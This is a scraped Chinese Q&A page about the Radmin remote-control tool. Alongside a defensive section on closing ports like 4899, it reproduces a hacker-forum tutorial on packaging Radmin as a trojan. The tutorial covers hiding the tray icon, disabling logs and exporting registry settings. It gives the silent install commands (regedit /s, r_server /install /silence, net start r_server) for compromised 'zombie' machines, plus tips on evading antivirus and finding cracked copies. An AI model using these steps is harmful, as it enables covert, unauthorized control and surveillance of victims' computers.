目录介绍:
- 1、radmin影子版的使用问题
- 2、radmin防卡巴查杀!急!!!!!!!!!
- 3、如何处理计算机上网漏洞
- 4、radmin默认端口怎么样扫描?该怎么做?用那些工具?请详细说明!
- 5、Radmin V3.2 Remote Control 使用方法
- 6、如何radmin影子版查看别人的电脑
radmin影子版的使用问题
1、可能你有内网封锁了4899这个端口。
2、可能2号机开了防火墙。
radmin防卡巴查杀!急!!!!!!!!!
咔吧,默认的好像是自动查杀病毒,你把自动查杀病毒,改成查毒...至于你找加壳去壳软件,你去黑客里面去找...
如何处理计算机上网漏洞
近来黑客攻击事件频频发生,我们身边的朋友可能有QQ、E-mail和游戏账号被盗事件发生。现在的黑客技术有朝着大众化方向发展的趋势,能够掌握攻击他人系统技术的人越来越多了,只要你的电脑稍微有点系统Bug或者安装了有问题的应用程序,就有可能成为他人的肉鸡。如何给一台上网的机器查漏洞并做出相应的处理呢?
一、要命的端口
计算机要与外界进行通信,必须通过一些端口。别人要想入侵和控制我们的电脑,也要从某些端口连接进来。如果开放了139、445、3389、4899等重要端口,要知道这些端口都可以为黑客入侵提供便利。尤其是4899,可能是入侵者安装的后门工具Radmin打开的,他可以通过这个端口取得系统的完全控制权。
在Windows 下,通过“开始”选取“运行”,然后输入“command”(Windows 2000/XP/2003下在“运行”中输入“cmd”),进入命令提示窗口,然后输入netstat/an,就可以看到本机端口开放和网络连接情况。
那怎么关闭这些端口呢?因为计算机的每个端口都对应着某个服务或者应用程序,因此只要我们停止该服务或者卸载该程序,这些端口就自动关闭了。例如可以在“我的电脑 →控制面板→计算机管理→服务”中停止Radmin服务,就可以关闭4899端口了。
如果暂时没有找到打开某端口的服务或者停止该项服务可能会影响计算机的正常使用,我们也可以利用防火墙来屏蔽端口。
二、敌人的“进程”
在Windows 下,可以通过同时按下“Ctrl+Alt+Del”键调出任务管理器来查看和关闭进程;还可以通过系统自带的工具msinfo32看到,在“开始→运行”里输入msinfo32,打开“Microsoft 系统信息”界面,在“软件环境”的“正在运行任务”下可以看到本机的进程。
三、小心,远程管理软件有麻烦
现在很多人都喜欢在自己的机器上安装远程管理软件,如Pcanywhere、Radmin、VNC或者Windows自带的远程桌面,这确实方便了远程管理维护和办公,但同时远程管理软件也给我们带来了很多安全隐患。例如Pcanywhere 10.0版本及更早的版本存在着口令文件*.CIF容易被解密(解码而非爆破)的问题,一旦入侵者通过某种途径得到了*.CIF文件,他就可以用一款叫做Pcanywherepwd的工具破解出管理员账号和密码。
而Radmin则主要是空口令问题,因为Radmin默认为空口令,所以大多数人安装了Radmin之后,都忽略了口令安全设置,因此,任何一个攻击者都可以用Radmin客户端连接上安装了Radmin的机器,并做一切他想做的事情。
Windows系统自带的远程桌面也会给黑客入侵提供方便的大门,当然是在他通过一定的'手段拿到了一个可以访问的账号之后。
可以说几乎每种远程管理软件都有它的问题,如强大的远程管理软件DameWare NT Utilitie。它工具包中的DameWare Mini Remote Control某些版本也存在着缓冲区溢出漏洞,黑客可以利用这个漏洞在系统上执行任意指令。所以,要安全地远程使用它就要进行IP限制。
安装最新版的远程控制软件也有利于提高安全性,比如最新版的Pcanywhere的密码文件采用了较强的加密方案。
radmin默认端口怎么样扫描?该怎么做?用那些工具?请详细说明!
radmin作为一个十分老的远程控制工具,现在已经不是主流远控了,入侵测试使用这样的软件几乎也是十分难的,即使你有十分先进的入侵技术,在配合了这样一个软件的情况下,也不可能成功,因为杀毒软件对未修改版本的查杀是100%的,建议去百度搜“黑客”(国内老是把黑与一些邪恶的东西联系起来),找的的网址访问一下,学习主流。
Radmin V3.2 Remote Control 使用方法
关于radmin
radmin
是远程控制软件,可以远程管理公司或个人计算机实现远程办公。可以进行完全控制,屏幕监视,文件管理,远程DOS操作,等功能。操作简单,容易上手,只需要被控制主机执行服务端,安装服务,设置好连接端口和密码,您就可以利用控制端进行远程控制。
远程管理软件Radmin下载的地址是:http://,软件大小为1.31MB。天空也有.Radmin的安装非常简单,下载完毕后双击即可直接运行。
Radmin的特点
1、程序体积小巧,并且安装简单、配置容易。
2、运行速度快,在10Mbps局域网的测试中,它比流行的VNC(Virtual
Network
Computing)要快,也超过了PcAnywhere。
3、在功能上,Radmin支持被控端以服务的方式运行、支持多个连接和IP过滤(即允许特定的IP控制远端机器)、个性化的文件互传、远程关机、支持高分辨率模式、基于Windows
NT的安全支持及密码保护以及提供日志文件支持等。
4、在安全性方面,Radmin支持Windows
NT/2000用户级安全特性,您可以将远程控制的权限授予特定的用户或者用户组。Radmin将以加密的模式工作,所有的数据(包括屏幕影像、鼠标和键盘的移动)都使用128位强加密算法加密;服务器端会将所有操作写进日志文件,以便于事后查询,服务器端有IP过滤表,对IP过滤表以外的控制请求将不予响应。
5、设置简单且刷新速度快。Radrain充分利用了网络的传输效率,在远程机上控制Windows
2000
Server服务器,你的感觉像是在本地操纵自己的计算机一样。
radmin的使用教程
第一章
Radmin的初步设置
首先我们需要下载Radmin2.1版的安装程序,选择2.1版,因为它比较成熟可靠。由于是官方认可的软件,所以只要在百度搜索“Radmin2.1
破解”即可。注意破解二字,要有注册码的!这里因为不想盗链,所以没直接给出下载地址,请大家自己搜索。不推荐下载影子版。一是,影子版解压缩时可能会被杀毒软件查杀;二是,影子版是完成品,不适合初学者,毕竟自己多做些基础工作,可以打下扎实的基本功。
下载后,安装。最好你的系统是W2K,原因就不多说了。安装完成后,选择Radmin的设置---选项。这时,你会看到弹出一个选项窗口。下面我们逐个介绍窗口中选项的功能。
首先是IP过滤。对新人而言,我是不建议设置IP过滤的,理由是尽量减少自己暴露的信息。所以,这个选项我们跳过。
其次是端口,默认的端口是4899。我们可以改一下,具体用哪个端口随自己喜好,可以随便编,但注意不要使用139,445,3389,4899这样声名在外的端口,即使肉鸡嫩,你就不怕别的老大抢了你的肉鸡??如果不懂哪些端口是做什么用的,可以发邮件给我,我会将详细的资料发给你。
然后就是隐藏托盘图表的选项了,不想被肉鸡的主人看见托盘有个不怀好意的图标在跟他奸笑的话,那就点上吧。
使用日志记录,日志文件名不要选。会留痕迹的哦!
连接确认也不要理它,价值不大。
选项OK了,我们再Radmin的设置---设置口令,就是密码。内容自己决定。建议不要设置暴露自己信息的内容。。呵呵
都设置好了,我们就开始安装服务吧。方法是Radmin的设置---安装服务。点一下就可以了^_^
第二章
木马的制作
首先,是在安装目录下找到这3个文件。"AdmDll.dll"
"r_server.exe"
"raddrv.dll"把它们复制,粘贴到安全的地方。
然后,是导出注册表,方法是:开始----运行----输入regedit----在打开的注册表编辑器里找到HKEY_LOCAL_MACHINE----在该项目中找到SOFTWARE项----在这个项目里,我们看到一个熟悉的名字Radmin,还等什么,点击选择。在注册表编辑器的工具栏里,就是左上脚,有一个注册表(R),看到吗?点击---导出注册表文件---注意保存的文件名“radmin.reg”,怎么样,你导出来了吗?
现在有了上面2步准备的4个文件,我们的木马就已经OK了。简单吧!
忘记强调,做好了木马,最后要注意移除服务哦。原因。。。呵呵
第三章
控制台的安装
建议删除刚才安装radmin2.1版本,重新下载安装radmin3.0,3.0版的画面细致,性能稳定。上面不安装3.0版的原因是,这个版现在只有控制台,没有服务端。以后推出的话,我会补充新的教程。
如果不想安装,直接使用2.1的radmin查看器就可以了。
第四章
木马的安装
把作为木马的4个文件上传到肉鸡上了,方法别的版块会详细介绍。建议上传到SYSTEM32,因为这里文件比较多,嘿嘿。上传以后,DOS环境在SYSTEM32目录下,运行以下3个命令,注意参数!
regedit
/s
radmin.reg
(导入注册表)
r_server
/install
/silence
(安装radmin,注意参数/silence)
net
start
r_server
(启动radmin)
强调下,参数/silence是取消安装画面用的,不加,肉鸡会看见什么呢?呵呵。。呵呵。。。
另外,你也可以自己写一个批处理文件自动执行,甚至制作一个exe,这个就是个人的发挥了。
第五章
连接肉鸡
运行控制台以后,Connection-(连接)---Connect
to(连接到)----填写I肉鸡P地址,第一次连接的话,建议只选择View
Only(只查看),以后可以根据需要,选择Full
Control(完全控制)。
当然,不要忘记,把端口改成刚才自己设定的哦。
就这样了。
消息来源:YES黑客联盟
如何radmin影子版查看别人的电脑
如果3389开放的,你又能在对方机器上安装radmin,那你已经有控制权了,还装那玩意干嘛?
网友评论
最新评论
OFTWARE项----在这个项目里,我们看到一个熟悉的名字Radmin,还等什么,点击选择。在注册表编辑器的工具栏里,就是左上脚,有一个注册表(R),看到吗?点击---导出注册表文
身边的朋友可能有QQ、E-mail和游戏账号被盗事件发生。现在的黑客技术有朝着大众化方向发展的趋势,能够掌握攻击他人系统技术的人越来越多了,只要你的电脑稍微有点系统Bug或者安装了有问题的应用程序,就有可能成为他人的肉鸡。如何给一台上网的机器查漏洞并做出相应的处理呢? 一、要命的端口 计算机